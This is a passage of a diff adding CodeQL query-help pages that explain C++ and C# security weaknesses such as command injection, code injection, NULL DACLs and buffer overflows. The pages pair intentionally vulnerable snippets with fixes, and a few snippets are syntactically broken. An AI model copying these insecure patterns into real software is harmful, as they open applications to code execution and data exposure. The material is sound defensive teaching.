+Precision: medium +Tags: security external/cwe/cwe-665 external/cwe/cwe-457 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/UninitializedLocal.ql) + +A local non-static variable of a non-class type has an undefined value before it is initialized. For example, it is incorrect to rely on an uninitialized integer to have the value `0`. + + +## Recommendation +Review the code and consider whether the variable should have an initializer or whether some path through the program lacks an assignment to the variable. + + +## Example +The function `absWrong` does not initialize the variable `j` in the case where `i = 0`. Functions `absCorrect1` and `absCorrect2` remedy this deficiency by adding an initializer and adding an assignment to one of the paths through the program, respectively. + + +```cpp +int absWrong(int i) { + int j; + if (i > 0) { + j = i; + } else if (i < 0) { + j = -i; + } + return j; // wrong: j may not be initialized before use +} + +int absCorrect1(int i) { + int j = 0; + if (i > 0) { + j = i; + } else if (i < 0) { + j = -i; + } + return j; // correct: j always initialized before use +} + +int absCorrect2(int i) { + int j; + if (i > 0) { + j = i; + } else if (i < 0) { + j = -i; + } else { + j = 0; + } + return j; // correct: j always initialized before use +} +``` + +## References +* ISO/IEC 9899:2011: [Programming languages - C (Section 6.3.2.1)](https://www.iso.org/standard/57853.html). +* Common Weakness Enumeration: [CWE-665](https://cwe.mitre.org/data/definitions/665.html). +* Common Weakness Enumeration: [CWE-457](https://cwe.mitre.org/data/definitions/457.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeCreateProcessCall.md b/docs/language/query-help/cpp/UnsafeCreateProcessCall.md new file mode 100644 index 00000000000..cf9b2e4d3a6 --- /dev/null +++ b/docs/language/query-help/cpp/UnsafeCreateProcessCall.md @@ -0,0 +1,53 @@ +# NULL application name with an unquoted path in call to CreateProcess + +``` +ID: cpp/unsafe-create-process-call +Kind: problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-428 external/microsoft/C6277 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-428/UnsafeCreateProcessCall.ql) + +This query indicates that there is a call to a function of the `CreateProcess*` family of functions, which introduces a security vulnerability. + + +## Recommendation +Do not use `NULL` for the `lpApplicationName` argument to the `CreateProcess*` function. + +If you pass `NULL` for `lpApplicationName`, use quotation marks around the executable path in `lpCommandLine`. + + +## Example +In the following example, `CreateProcessW` is called with a `NULL` value for `lpApplicationName`, and the value for `lpCommandLine` that represent the application path is not quoted and has spaces in it. + +If an attacker has access to the file system, they can elevate privileges by creating a file such as `C:\Program.exe` that will be executed instead of the intended application. + + +```cpp +STARTUPINFOW si; +PROCESS_INFORMATION pi; + +// ... + +CreateProcessW( // BUG + NULL, // lpApplicationName + (LPWSTR)L"C:\\Program Files\\MyApp", // lpCommandLine + NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); + +// ... +``` +To fix this issue, specify a valid string for `lpApplicationName`, or quote the path for `lpCommandLine`. For example: + +`(LPWSTR)L"\"C:\\Program Files\\MyApp\"", // lpCommandLine` + + +## References +* [CreateProcessA function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa) +* [CreateProcessW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessw) +* [CreateProcessAsUserA function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) +* [CreateProcessAsUserW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessasuserw) +* [CreateProcessWithLogonW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createprocesswithlogonw) +* [CreateProcessWithTokenW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createprocesswithtokenw) +* Common Weakness Enumeration: [CWE-428](https://cwe.mitre.org/data/definitions/428.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md b/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md new file mode 100644 index 00000000000..03a0eace612 --- /dev/null +++ b/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md @@ -0,0 +1,52 @@ +# Setting a DACL to NULL in a SECURITY_DESCRIPTOR + +``` +ID: cpp/unsafe-dacl-security-descriptor +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-732 external/microsoft/C6248 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.ql) + +This query indicates that a call is setting the DACL field in a `SECURITY_DESCRIPTOR` to null. + +When using `SetSecurityDescriptorDacl` to set a discretionary access control (DACL), setting the `bDaclPresent` argument to `TRUE` indicates the prescence of a DACL in the security description in the argument `pDacl`. + +When the `pDacl` parameter does not point to a DACL (i.e. it is `NULL`) and the `bDaclPresent` flag is `TRUE`, a `NULL DACL` is specified. + +A `NULL DACL` grants full access to any user who requests it; normal security checking is not performed with respect to the object. + + +## Recommendation +You should not use a `NULL DACL` with an object because any user can change the DACL and owner of the security descriptor. + + +## Example +In the following example, the call to `SetSecurityDescriptorDacl` is setting an unsafe DACL (`NULL DACL`) to the security descriptor. + + +```cpp +SECURITY_DESCRIPTOR pSD; +SECURITY_ATTRIBUTES SA; + +if (!InitializeSecurityDescriptor(&pSD, SECURITY_DESCRIPTOR_REVISION)) +{ + // error handling +} +if (!SetSecurityDescriptorDacl(&pSD, + TRUE, // bDaclPresent - this value indicates the presence of a DACL in the security descriptor + NULL, // pDacl - the pDacl parameter does not point to a DACL. All access will be allowed + FALSE)) +{ + // error handling +} + +``` +To fix this issue, `pDacl` argument should be a pointer to an `ACL` structure that specifies the DACL for the security descriptor. + + +## References +* [SetSecurityDescriptorDacl function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/securitybaseapi/nf-securitybaseapi-setsecuritydescriptordacl) +* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeUseOfStrcat.md b/docs/language/query-help/cpp/UnsafeUseOfStrcat.md new file mode 100644 index 00000000000..733b08ec235 --- /dev/null +++ b/docs/language/query-help/cpp/UnsafeUseOfStrcat.md @@ -0,0 +1,43 @@ +# Potentially unsafe use of strcat + +``` +ID: cpp/unsafe-strcat +Kind: problem +Severity: warning +Precision: medium +Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-120 external/cwe/cwe-251 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/UnsafeUseOfStrcat.ql) + +The standard library function `strcat` appends a source string to a target string. If you do not check the size of the source string then you cannot guarantee that appending the data to the target string will not cause a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. + + +## Recommendation +Check the highlighted function calls carefully to ensure that no buffer overflow is possible. For a more robust solution, consider adding explicit range checks or using the `strncat` function instead. + + +## Example + +```cpp +void f(char *s) { + char buf[80]; + strcpy(buf, "s: "); + strcat(buf, s); // wrong: buffer not checked before strcat +} + +void g(char *s) { + char buf[80]; + strcpy(buf, "s: "); + if(strlen(s) < 77) + strcat(buf, s); // correct: buffer size checked before strcat +} + +``` + +## References +* I. Gerg, *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7, no 4, 2005. +* M. Donaldson, *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnterminatedVarargsCall.md b/docs/language/query-help/cpp/UnterminatedVarargsCall.md new file mode 100644 index 00000000000..62993a50d6d --- /dev/null +++ b/docs/language/query-help/cpp/UnterminatedVarargsCall.md @@ -0,0 +1,59 @@ +# Unterminated variadic call + +``` +ID: cpp/unterminated-variadic-call +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-121 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-121/UnterminatedVarargsCall.ql) + +The program calls a function that expects the variable argument list to be terminated with a sentinel value (typically NULL, 0 or -1). In this case, the sentinel value has been omitted as a final argument. This defect may result in incorrect behavior of the function and unintended stack memory access, leading to incorrect program results, instability, and even vulnerability to buffer overflow style attacks. + + +## Recommendation +Each description of a defect highlighted by this rule includes a suggested value for the terminator. Check that this value is correct, then add it to the end of the call. + + +## Example + +```cpp +#include + +void pushStrings(char *firstString, ...) +{ + va_list args; + char *arg; + + va_start(args, firstString); + + // process inputs, beginning with firstString, ending when NULL is reached + arg = firstString; + while (arg != NULL) + { + // push the string + pushString(arg); + + // move on to the next input + arg = va_arg(args, char *); + } + + va_end(args); +} + +void badFunction() +{ + pushStrings("hello", "world", NULL); // OK + + pushStrings("apple", "pear", "banana", NULL); // OK + + pushStrings("car", "bus", "train"); // BAD, not terminated with the expected NULL +} +``` +In this example, the third call to `pushStrings` is not correctly terminated. This call should be updated to include `NULL` as the fourth and final argument to this call. + + +## References +* Common Weakness Enumeration: [CWE-121](https://cwe.mitre.org/data/definitions/121.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WcharCharConversion.md b/docs/language/query-help/cpp/WcharCharConversion.md new file mode 100644 index 00000000000..14898692d93 --- /dev/null +++ b/docs/language/query-help/cpp/WcharCharConversion.md @@ -0,0 +1,41 @@ +# Cast from char* to wchar_t* + +``` +ID: cpp/incorrect-string-type-conversion +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-704 external/microsoft/c/c6276 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-704/WcharCharConversion.ql) + +This rule indicates a potentially incorrect cast from an byte string (`char *`) to a wide-character string (`wchar_t *`). + +This cast might yield strings that are not correctly terminated; including potential buffer overruns when using such strings with some dangerous APIs. + + +## Recommendation +Do not explicitly cast byte strings to wide-character strings. + +For string literals, prepend the literal string with the letter "L" to indicate that the string is a wide-character string (`wchar_t *`). + +For converting a byte literal to a wide-character string literal, you would need to use the appropriate conversion function for the platform you are using. Please see the references section for options according to your platform. + + +## Example +In the following example, an byte string literal (`"a"`) is cast to a wide-character string. + + +```cpp +wchar_t* pSrc; + +pSrc = (wchar_t*)"a"; // casting a byte-string literal "a" to a wide-character string +``` +To fix this issue, prepend the literal with the letter "L" (`L"a"`) to define it as a wide-character string. + + +## References +* General resources: [std::mbstowcs](https://en.cppreference.com/w/cpp/string/multibyte/mbstowcs) +* Microsoft specific resources: [Security Considerations: International Features](https://docs.microsoft.com/en-us/windows/desktop/Intl/security-considerations--international-features) +* Common Weakness Enumeration: [CWE-704](https://cwe.mitre.org/data/definitions/704.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md b/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md new file mode 100644 index 00000000000..db070d6b9b8 --- /dev/null +++ b/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md @@ -0,0 +1,36 @@ +# Too few arguments to formatting function + +``` +ID: cpp/wrong-number-format-arguments +Kind: problem +Severity: error +Precision: high +Tags: reliability correctness security external/cwe/cwe-685 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/WrongNumberOfFormatArguments.ql) + +Each call to the `printf` function, or a related function, should include the number of arguments defined by the format. Passing the function more arguments than required is harmless (although it may be indicative of other defects). However, passing the function fewer arguments than are defined by the format can be a security vulnerability since the function will process the next item on the stack as the missing arguments. + +This might lead to an information leak if a sensitive value from the stack is printed. It might cause a crash if a value on the stack is interpreted as a pointer and leads to accessing unmapped memory. Finally, it may lead to a follow-on vulnerability if an attacker can use this problem to cause the output string to be too long or have unexpected contents. + + +## Recommendation +Review the format and arguments expected by the highlighted function calls. Update either the format or the arguments so that the expected number of arguments are passed to the function. + + +## Example + +```cpp +int main() { + printf("%d, %s\n", 42); // Will crash or print garbage + return 0; +} + +``` + +## References +* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). +* cplusplus.com: [C++ Functions](http://www.tutorialspoint.com/cplusplus/cpp_functions.htm). +* Microsoft C Runtime Library Reference: [printf, wprintf](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/printf-printf-l-wprintf-wprintf-l). +* Common Weakness Enumeration: [CWE-685](https://cwe.mitre.org/data/definitions/685.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WrongTypeFormatArguments.md b/docs/language/query-help/cpp/WrongTypeFormatArguments.md new file mode 100644 index 00000000000..472eb3ef1a6 --- /dev/null +++ b/docs/language/query-help/cpp/WrongTypeFormatArguments.md @@ -0,0 +1,34 @@ +# Wrong type of arguments to formatting function + +``` +ID: cpp/wrong-type-format-argument +Kind: problem +Severity: error +Precision: high +Tags: reliability correctness security external/cwe/cwe-686 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/WrongTypeFormatArguments.ql) + +Each call to the `printf` function or a related function should include the type and sequence of arguments defined by the format. If the function is passed arguments of a different type or in a different sequence then the arguments are reinterpreted to fit the type and sequence expected, resulting in unpredictable behavior. + + +## Recommendation +Review the format and arguments expected by the highlighted function calls. Update either the format or the arguments so that the expected type and sequence of arguments are passed to the function. + + +## Example + +```cpp +int main() { + printf("%s\n", 42); //printf will treat 42 as a char*, will most likely segfault + return 0; +} + +``` + +## References +* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). +* cplusplus.com: [C++ Functions](http://www.tutorialspoint.com/cplusplus/cpp_functions.htm). +* MSDN Alphabetical Function Reference: [printf, wprintf](http://msdn.microsoft.com/en-us/library/wc7014hz%28VS.71%29.aspx). +* Common Weakness Enumeration: [CWE-686](https://cwe.mitre.org/data/definitions/686.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp.rst b/docs/language/query-help/csharp.rst new file mode 100644 index 00000000000..7bc55ad7f6b --- /dev/null +++ b/docs/language/query-help/csharp.rst @@ -0,0 +1,4 @@ +C# query help +============= + +.. include:: toc-csharp.rst \ No newline at end of file diff --git a/docs/language/query-help/csharp/ASPNetDebug.md b/docs/language/query-help/csharp/ASPNetDebug.md new file mode 100644 index 00000000000..9c3bdce1820 --- /dev/null +++ b/docs/language/query-help/csharp/ASPNetDebug.md @@ -0,0 +1,56 @@ +# Creating an ASP.NET debug binary may reveal sensitive information + +``` +ID: cs/web/debug-binary +Kind: problem +Severity: warning +Precision: very-high +Tags: security maintainability frameworks/asp.net external/cwe/cwe-11 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-011/ASPNetDebug.ql) + +ASP.NET applications that deploy a 'debug' build to production can reveal debugging information to end users. This debugging information can aid a malicious user in attacking the system. The use of the debugging flag may also impair performance, increasing execution time and memory usage. + + +## Recommendation +Remove the 'debug' flag from the `Web.config` file if this configuration is likely to be used in production. + + +## Example +The following example shows the 'debug' flag set to true in a `Web.config` file for ASP.NET: + + +```none + + + + + ... + + +``` +This will produce a 'debug' build that may be exploited by an end user. + +To fix this problem, the 'debug' flag should be set to `false`, or removed completely: + + +```none + + + + + ... + + +``` + +## References +* MSDN: [Why debug=false in ASP.NET applications in production environment](https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/). +* MSDN: [How to: Enable Debugging for ASP.NET Applications](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx). +* Common Weakness Enumeration: [CWE-11](https://cwe.mitre.org/data/definitions/11.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ASPNetDirectoryListing.md b/docs/language/query-help/csharp/ASPNetDirectoryListing.md new file mode 100644 index 00000000000..17c6cd89584 --- /dev/null +++ b/docs/language/query-help/csharp/ASPNetDirectoryListing.md @@ -0,0 +1,48 @@ +# ASP.NET config file enables directory browsing + +``` +ID: cs/web/directory-browse-enabled +Kind: problem +Severity: warning +Precision: very-high +Tags: security external/cwe/cwe-548 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-548/ASPNetDirectoryListing.ql) + +ASP.NET applications that enable directory browsing can leak sensitive information to an attacker. The precise nature of the vulnerability depends on which files are listed and accessible. + + +## Recommendation +If this configuration may be used in production, remove the `directoryBrowse` element from the `Web.config` file or set the value to false. + + +## Example +The following example shows the `directoryBrowse` `enable` attribute set to true in a `Web.config` file for ASP.NET: + + +```none + + + + + ... + + +``` +To fix this problem, the `enable` attribute should be set to `false`, or the `directoryBrowse` element should be removed completely: + + +```none + + + + + ... + + +``` + +## References +* MSDN: [directoryBrowse element](https://msdn.microsoft.com/en-us/library/ms691327(v=vs.90).aspx). +* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/AbandonSession.md b/docs/language/query-help/csharp/AbandonSession.md new file mode 100644 index 00000000000..69d3e2b4a1f --- /dev/null +++ b/docs/language/query-help/csharp/AbandonSession.md @@ -0,0 +1,52 @@ +# Failure to abandon session + +``` +ID: cs/session-reuse +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-384 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-384/AbandonSession.ql) + +Reusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started. + + +## Recommendation +Always call `HttpSessionState.Abandon()` to ensure that the previous session is not used by the new user. + + +## Example +The following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account. + + +```csharp +public void Login(HttpContext ctx, string username, string password) +{ + if (FormsAuthentication.Authenticate(username, password) + { + // BAD: Reusing the previous session + ctx.Session["Mode"] = GetModeForUser(username); + } +} + +``` +This code example solves the problem by not reusing the session, and instead calling `Abandon()` to ensure that the session is not reused. + + +```csharp +public void Login(HttpContext ctx, string username, string password) +{ + if (FormsAuthentication.Authenticate(username, password) + { + // GOOD: Abandon the session first. + ctx.Session.Abandon(); + } +} + +``` + +## References +* MSDN: [ASP.NET Session State Overview](https://msdn.microsoft.com/en-us/library/ms178581.aspx), [HttpSessionState.Abandon Method ()](https://msdn.microsoft.com/en-us/library/system.web.sessionstate.httpsessionstate.abandon(v=vs.110).aspx). +* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/AssemblyPathInjection.md b/docs/language/query-help/csharp/AssemblyPathInjection.md new file mode 100644 index 00000000000..a3b87e7dc1c --- /dev/null +++ b/docs/language/query-help/csharp/AssemblyPathInjection.md @@ -0,0 +1,71 @@ +# Assembly path injection + +``` +ID: cs/assembly-path-injection +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-114 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-114/AssemblyPathInjection.ql) + +C# supports runtime loading of assemblies by path through the use of the `System.Reflection.Assembly` API. If an external user can influence the path used to load an assembly, then the application can potentially be tricked into loading an assembly which was not intended to be loaded, and executing arbitrary code. + + +## Recommendation +Avoid loading assemblies based on user provided input. If this is not possible, ensure that the path is validated before being used with `Assembly`. For example, compare the provided input against a whitelist of known safe assemblies, or confirm that the path is restricted to a single directory which only contains safe assemblies. + + +## Example +In this example, user input is provided describing the path to an assembly, which is loaded without validation. This is problematic because it allows the user to load any assembly installed on the system, and is particularly problematic if an attacker can upload a custom DLL elsewhere on the system. + + +```csharp +using System; +using System.Web; +using System.Reflection; + +public class AssemblyPathInjectionHandler : IHttpHandler { + public void ProcessRequest(HttpContext ctx) { + string assemblyPath = ctx.Request.QueryString["assemblyPath"]; + + // BAD: Load assembly based on user input + var badAssembly = Assembly.LoadFile(assemblyPath); + + // Method called on loaded assembly. If the user can control the loaded assembly, then this + // could result in a remote code execution vulnerability + MethodInfo m = badAssembly.GetType("Config").GetMethod("GetCustomPath"); + Object customPath = m.Invoke(null, null); + // ... + } +} +``` +In the corrected version, user input is validated against one of two options, and the assembly is only loaded if the user input matches one of those options. + + +```csharp +using System; +using System.Web; +using System.Reflection; + +public class AssemblyPathInjectionHandler : IHttpHandler { + public void ProcessRequest(HttpContext ctx) { + string configType = ctx.Request.QueryString["configType"]; + + if (configType.equals("configType1") || configType.equals("configType2")) { + // GOOD: Loaded assembly is one of the two known safe options + var safeAssembly = Assembly.LoadFile(@"C:\SafeLibraries\" + configType + ".dll"); + + // Code execution is limited to one of two known and vetted assemblies + MethodInfo m = safeAssembly.GetType("Config").GetMethod("GetCustomPath"); + Object customPath = m.Invoke(null, null); + // ... + } + } +} +``` + +## References +* Microsoft: [System.Reflection.Assembly](https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8). +* Common Weakness Enumeration: [CWE-114](https://cwe.mitre.org/data/definitions/114.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CleartextStorage.md b/docs/language/query-help/csharp/CleartextStorage.md new file mode 100644 index 00000000000..dedc59ef949 --- /dev/null +++ b/docs/language/query-help/csharp/CleartextStorage.md @@ -0,0 +1,64 @@ +# Clear text storage of sensitive information + +``` +ID: cs/cleartext-storage-of-sensitive-information +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-312/CleartextStorage.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. For ASP.NET applications, the `System.Web.Security.MachineKey` class may be used to encode sensitive information. + +If possible, avoid placing sensitive information in cookies all together. Instead, prefer storing a key in the cookie that can be used to lookup the sensitive information. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + + +## Example +The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are protected before storing them, using `MachineKey.Protect`, wrapped in a utility method. + + +```csharp +using System.Text; +using System.Web; +using System.Web.Security; + +public class CleartextStorageHandler : IHttpHandler +{ + + public void ProcessRequest(HttpContext ctx) + { + string accountName = ctx.Request.QueryString["AccountName"]; + // BAD: Setting a cookie value with cleartext sensitive data. + ctx.Response.Cookies["AccountName"].Value = accountName; + // GOOD: Encoding the value before setting it. + ctx.Response.Cookies["AccountName"].Value = Protect(accountName, "Account name"); + } + + ///

    + /// Protect the cleartext value, using the given type. + /// + /// + /// The protected value, which is no longer cleartext. + /// + public string Protect(string value, string type) + { + return Encoding.UTF8.GetString(MachineKey.Protect(Encoding.UTF8.GetBytes(value), type)); + } +} + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CodeInjection.md b/docs/language/query-help/csharp/CodeInjection.md new file mode 100644 index 00000000000..8d60a5b7122 --- /dev/null +++ b/docs/language/query-help/csharp/CodeInjection.md @@ -0,0 +1,75 @@ +# Improper control of generation of code + +``` +ID: cs/code-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-094 external/cwe/cwe-095 external/cwe/cwe-096 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-094/CodeInjection.ql) + +If the application dynamically compiles and runs source code constructed from user input, a malicious user may be able to run arbitrary code. + + +## Recommendation +It is good practice not to generate, compile and run source code constructed from untrusted user input. If code must be dynamically generated using user input, the user input should be validated to prevent arbitrary code from appearing in the input. For example, a whitelist may be used to ensure that the input is limited to an acceptable range of values. + + +## Example +In the following example, the HttpHandler accepts remote user input which is C# source code for calculating tax. It compiles and runs this code, returning the output. However, the user provided source code is entirely unvalidated, and therefore allows arbitrary code execution. + +If possible, the dynamic compilation should be removed all together, and replaced with a fixed set of tax calculation algorithms. If this is not sufficiently powerful, an interpreter could be provided for a safe, restricted language. + + +```csharp +using Microsoft.CSharp; +using System; +using System.CodeDom.Compiler; +using System.Reflection; +using System.Web; + +public class CodeInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + // Code for calculating tax is provided as unvalidated user input + string taxFormula = ctx.Request.QueryString["tax_formula"]; + // Used to create C# + StringBuilder sourceCode = new StringBuilder(""); + sourceCode.Append("public class TaxCalc {\n"); + sourceCode.Append("\tpublic int CalculateTax(int value){\n"); + sourceCode.Append("\t\treturn " + taxFormula + "; \n"); + sourceCode.Append("\t}\n"); + sourceCode.Append("}\n"); + + // BAD: This compiles the sourceCode, containing unvalidated user input + CSharpCodeProvider c = new CSharpCodeProvider(); + ICodeCompiler icc = c.CreateCompiler(); + CompilerParameters cp = new CompilerParameters(); + CompilerResults cr = icc.CompileAssemblyFromSource(cp, sourceCode.ToString()); + + // Compiled input is loaded, and an instance of the class is constructed + System.Reflection.Assembly a = cr.CompiledAssembly; + object taxCalc = a.CreateInstance("TaxCalc"); + + // Unsafe code is executed + Type taxCalcType = o.GetType(); + MethodInfo mi = type.GetMethod("CalculateTax"); + int value = int.Parse(ctx.Request.QueryString["value"]); + int s = (int)mi.Invoke(o, new object[] { value }); + + // Result is returned to the user + ctx.Response.Write("Tax value is: " + s); + } +} + +``` + +## References +* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). +* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). +* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html). +* Common Weakness Enumeration: [CWE-96](https://cwe.mitre.org/data/definitions/96.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CommandInjection.md b/docs/language/query-help/csharp/CommandInjection.md new file mode 100644 index 00000000000..f4dc530aeec --- /dev/null +++ b/docs/language/query-help/csharp/CommandInjection.md @@ -0,0 +1,45 @@ +# Uncontrolled command line + +``` +ID: cs/command-line-injection +Kind: path-problem +Severity: error +Precision: high +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-078/CommandInjection.ql) + +Code that passes user input directly to `System.Diagnostic.Process.Start`, or some other library routine that executes a command, allows the user to execute malicious code. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. + + +## Example +The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `System.Diagnostic.Process.Start` without examining it first. + + +```csharp +using System; +using System.Web; +using System.Diagnostics; + +public class CommandInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string param = ctx.Request.QueryString["param"]; + Process.Start("process.exe", "/c " + param); + } +} + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ConditionalBypass.md b/docs/language/query-help/csharp/ConditionalBypass.md new file mode 100644 index 00000000000..a4c1b1997f1 --- /dev/null +++ b/docs/language/query-help/csharp/ConditionalBypass.md @@ -0,0 +1,54 @@ +# User-controlled bypass of sensitive method + +``` +ID: cs/user-controlled-bypass +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-807 external/cwe/cwe-247 external/cwe/cwe-350 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-807/ConditionalBypass.ql) + +Many C# constructs enable code statements to be executed conditionally, for example, `if` statements and `for` statements. If the statements contain important authentication or login code, and user-controlled data determines whether or not the code is executed, an attacker may be able to bypass security systems. + + +## Recommendation +Never decide whether to authenticate a user based on data that may be controlled by that user. If necessary, ensure that the data is validated extensively when it is input before any authentication checks are performed. + +It is still possible to have a system that "remembers" users, thus not requiring the user to login on every interaction. For example, personalization settings can be applied without authentication because this is not sensitive information. However, users should be allowed to take sensitive actions only when they have been fully authenticated. + + +## Example +This example shows two ways of deciding whether to authenticate a user. The first way shows a decision that is based on the value of a cookie. Cookies can be easily controlled by the user, and so this allows a user to become authenticated without providing valid credentials. The second, more secure way shows a 